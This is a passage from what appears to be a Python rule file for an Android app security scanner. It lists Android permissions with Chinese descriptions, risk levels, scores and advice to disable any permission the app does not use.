u'写入联系人数据',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得写入联系人数据的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_CONTACTS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WRITE_GSERVICES' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_GSERVICES',\r\n        'desc' : u'修改Google地图服务',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得修改Google地图服务的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_GSERVICES',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WRITE_OWNER_DATA' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_OWNER_DATA',\r\n        'desc' : u'写入所有者数据',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得写入所有者数据的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_OWNER_DATA',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WRITE_SETTINGS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_SETTINGS',\r\n        'desc' : u'读取或写入系统设置',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得读取或写入系统设置的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_SETTINGS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WRITE_SYNC_SETTINGS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_SYNC_SETTINGS',\r\n        'desc' : u'写入同步设置',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得写入同步设置的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_SYNC_SETTINGS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_com.android.voicemail.permission.ADD_VOICEMAIL' : {\r\n        'type' : 0,\r\n        'name' : u'com.android.voicemail.permission.ADD_VOICEMAIL',\r\n        'desc' : u'增加语音邮件',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得增加语音邮件的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'com.android.voicemail.permission.ADD_VOICEMAIL',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.MOUNT_UNMOUNT_FILESYSTEMS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.MOUNT_UNMOUNT_FILESYSTEMS',\r\n        'desc' : u'挂载、反挂载外部文件系统',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得挂载、反挂载外部文件系统的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.MOUNT_UNMOUNT_FILESYSTEMS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ACCESS_FINE_LOCATION' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ACCESS_FINE_LOCATION',\r\n        'desc' : u'通过GPS芯片接收卫星的定位信息',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获取精确位置的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ACCESS_FINE_LOCATION',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CALL_PHONE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CALL_PHONE',\r\n        'desc' : u'拨打电话',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得拨打电话的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CALL_PHONE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.RESTART_PACKAGES' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.RESTART_PACKAGES',\r\n        'desc' : u'重启其他程序',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得重启其他程序的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.RESTART_PACKAGES',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_WALLPAPER' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_WALLPAPER',\r\n        'desc' : u'设置桌面壁纸',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得设置桌面壁纸的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_WALLPAPER',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ACCESS_COARSE_LOCATION' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ACCESS_COARSE_LOCATION',\r\n        'desc' : u'通过WiFi或移动基站的方式获取用户错略的经纬度信息',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获取错略位置的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ACCESS_COARSE_LOCATION',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ACCESS_WIFI_STATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ACCESS_WIFI_STATE',\r\n        'desc' : u'访问Wi-Fi网络状态信息',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得访问Wi-Fi网络状态信息的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ACCESS_WIFI_STATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ADD_SYSTEM_SERVICE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ADD_SYSTEM_SERVICE',\r\n        'desc' : u'发布系统级服务',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得发布系统级服务的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ADD_SYSTEM_SERVICE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BATTERY_STATS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BATTERY_STATS',\r\n        'desc' : u'更新手机电池统计信息',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得更新手机电池统计信息的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BATTERY_STATS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BROADCAST_PACKAGE_REMOVED' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BROADCAST_PACKAGE_REMOVED',\r\n        'desc' : u'在删除应用程序包后广播提示消息',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得在删除应用程序包后广播提示消息的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BROADCAST_PACKAGE_REMOVED',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CAMERA' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CAMERA',\r\n        'desc' : u'请求访问使用照相设备',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得请求访问使用照相设备的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CAMERA',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.GET_PACKAGE_SIZE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.GET_PACKAGE_SIZE',\r\n        'desc' : u'获取任何package占用空间容量',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获取任何package占用空间容量的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.GET_PACKAGE_SIZE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.GET_TASKS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.GET_TASKS',\r\n        'desc' : u'获取有关当前或最近运行的任务信息',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获取有关当前或最近运行的任务信息的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.GET_TASKS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.INTERNAL_SYSTEM_WINDOW' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.INTERNAL_SYSTEM_WINDOW',\r\n        'desc' : u'允许打开使用系统用户界面的窗口',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得允许打开使用系统用户界面的窗口的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.INTERNAL_SYSTEM_WINDOW',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.MODIFY_AUDIO_SETTINGS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.MODIFY_AUDIO_SETTINGS',\r\n        'desc' : u'修改全局音频设置',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得修改全局音频设置的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.MODIFY_AUDIO_SETTINGS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_ACTIVITY_WATCHER' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_ACTIVITY_WATCHER',\r\n        'desc' : u'控制已经在全局系统中启动的activities',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得控制已经在全局系统中启动的activities的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_ACTIVITY_WATCHER',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_ANIMATION_SCALE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_ANIMATION_SCALE',\r\n        'desc' : u'修改全局信息比例',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得修改全局信息比例的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_ANIMATION_SCALE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_DEBUG_APP' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_DEBUG_APP',\r\n        'desc' : u'配置程序处于调试状态',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得配置程序处于调试状态的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_DEBUG_APP',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_ORIENTATION' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_ORIENTATION',\r\n        'desc' : u'底层访问设置屏幕方向和实际旋转',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得底层访问设置屏幕方向和实际旋转的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_ORIENTATION',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_PREFERRED_APPLICATIONS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_PREFERRED_APPLICATIONS',\r\n        'desc' : u'修改列表参数',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得修改列表参数的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_PREFERRED_APPLICATIONS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_PROCESS_FOREGROUND' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_PROCESS_FOREGROUND',\r\n        'desc' : u'强制当前程序运行到前台',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得强制当前程序运行到前台的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_PROCESS_FOREGROUND',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_PROCESS_LIMIT' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_PROCESS_LIMIT',\r\n        'desc' : u'允许设置最大的运行进程数量',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得允许设置最大的运行进程数量的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_PROCESS_LIMIT',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_TIME_ZONE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_TIME_ZONE',\r\n        'desc' : u'设置时间区域',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得设置时间区域的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_TIME_ZONE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.STATUS_BAR' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.STATUS_BAR',\r\n        'desc' : u'打开、关闭或禁用状态栏及图标',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得打开、关闭或禁用状态栏及图标的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.STATUS_BAR',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SUBSCRIBED_FEEDS_READ' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SUBSCRIBED_FEEDS_READ',\r\n        'desc' : u'访问订阅RSS Feed内容',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得访问订阅RSS Feed内容的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SUBSCRIBED_FEEDS_READ',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SUBSCRIBED_FEEDS_WRITE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SUBSCRIBED_FEEDS_WRITE',\r\n        'desc' : u'写入或修改订阅内容的数据库',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得写入或修改订阅内容的数据库的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SUBSCRIBED_FEEDS_WRITE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.VIBRATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.VIBRATE',\r\n        'desc' : u'访问振动设备',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得访问振动设备的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.VIBRATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WAKE_LOCK' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WAKE_LOCK',\r\n        'desc' : u'使用WakeLocks使得进程在休眠时从屏幕消失',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得使用WakeLocks使得进程在休眠时从屏幕消失的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WAKE_LOCK',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_EXTERNAL_STORAGE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_EXTERNAL_STORAGE',\r\n        'desc' : u'读取外部存储',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得读取外部存储的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_EXTERNAL_STORAGE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.DIAGNOSTIC' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.DIAGNOSTIC',\r\n        'desc' : u'允许程序RW诊断资源',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得允许程序RW诊断资源的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置���启了该权限项',\r\n        'detail' : u'android.permission.DIAGNOSTIC',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CHANGE_NETWORK_STATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CHANGE_NETWORK_STATE',\r\n        'desc' : u'允许程序改变网络连接状态',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得允许程序改变网络连接状态的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CHANGE_NETWORK_STATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.MASTER_CLEAR' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.MASTER_CLEAR',\r\n        'desc' : u'清除一切数据',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得清除一切数据的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.MASTER_CLEAR',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.MODIFY_PHONE_STATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.MODIFY_PHONE_STATE',\r\n        'desc' : u'允许修改话机状态，如电源，人机接口等',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得允许修改话机状态，如电源，人机接口等的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.MODIFY_PHONE_STATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_ALWAYS_FINISH' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_ALWAYS_FINISH',\r\n        'desc' : u'允许程序控制是否活动间接完成在处于后台时',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得允许程序控制是否活动间接完成在处于后台时的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_ALWAYS_FINISH',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SET_WALLPAPER_HINTS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SET_WALLPAPER_HINTS',\r\n        'desc' : u'允许程序设置壁纸hits',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得允许程序设置壁纸hits的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SET_WALLPAPER_HINTS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SIGNAL_PERSISTENT_PROCESSES' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SIGNAL_PERSISTENT_PROCESSES',\r\n        'desc' : u'允许程序请求发送信号到所有显示的进程中',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得允许程序请求发送信号到所有显示的进程中的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SIGNAL_PERSISTENT_PROCESSES',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.SYSTEM_ALERT_WINDOW' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.SYSTEM_ALERT_WINDOW',\r\n        'desc' : u'允许一个程序打开窗口使用 TYPE_SYSTEM_ALERT，显示在其他所有程序的顶层',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得显示在其他所有程序的顶层的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.SYSTEM_ALERT_WINDOW',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ACCOUNT_MANAGER' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ACCOUNT_MANAGER',\r\n        'desc' : u'账户管理，获取账户验证信息',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得账户验证信息的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ACCOUNT_MANAGER',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.AUTHENTICATE_ACCOUNTS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.AUTHENTICATE_ACCOUNTS',\r\n        'desc' : u'验证账户，允许一个程序通过账户验证方式访问账户管理ACCOUNT_MANAGER相关信息',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得验证账户的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.AUTHENTICATE_ACCOUNTS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BIND_APPWIDGET' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BIND_APPWIDGET',\r\n        'desc' : u'绑定小插件，允许一个程序告诉appWidget服务需要访问小插件的数据库',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得绑定小插件的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BIND_APPWIDGET',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BIND_DEVICE_ADMIN' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BIND_DEVICE_ADMIN',\r\n        'desc' : u'绑定设备管理，请求系统管理员接收者receiver',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得绑定设备管理的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BIND_DEVICE_ADMIN',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BIND_INPUT_METHOD' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BIND_INPUT_METHOD',\r\n        'desc' : u'绑定输入法，请求InputMethodService服务',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得绑定输入法的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BIND_INPUT_METHOD',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BIND_REMOTEVIEWS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BIND_REMOTEVIEWS',\r\n        'desc' : u'绑定RemoteView，必须通过RemoteViewsService服务来请求',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得绑定RemoteView的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BIND_REMOTEVIEWS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BIND_WALLPAPER' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BIND_WALLPAPER',\r\n        'desc' : u'绑定壁纸，必须通过WallpaperService服务来请求',\r\n        'level' : u'低危',\r\n        'harm' : u'应用将获得绑定壁纸的权限，可能被用于恶意行为',\r\n        'score' : 1,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BIND_WALLPAPER',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BROADCAST_SMS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BROADCAST_SMS',\r\n        'desc' : u'收到短信时广播',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得收到短信时广播的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BROADCAST_SMS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BROADCAST_WAP_PUSH' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BROADCAST_WAP_PUSH',\r\n        'desc' : u'WAP PUSH广播',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得WAP PUSH广播的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BROADCAST_WAP_PUSH',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CHANGE_WIFI_MULTICAST_STATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CHANGE_WIFI_MULTICAST_STATE',\r\n        'desc' : 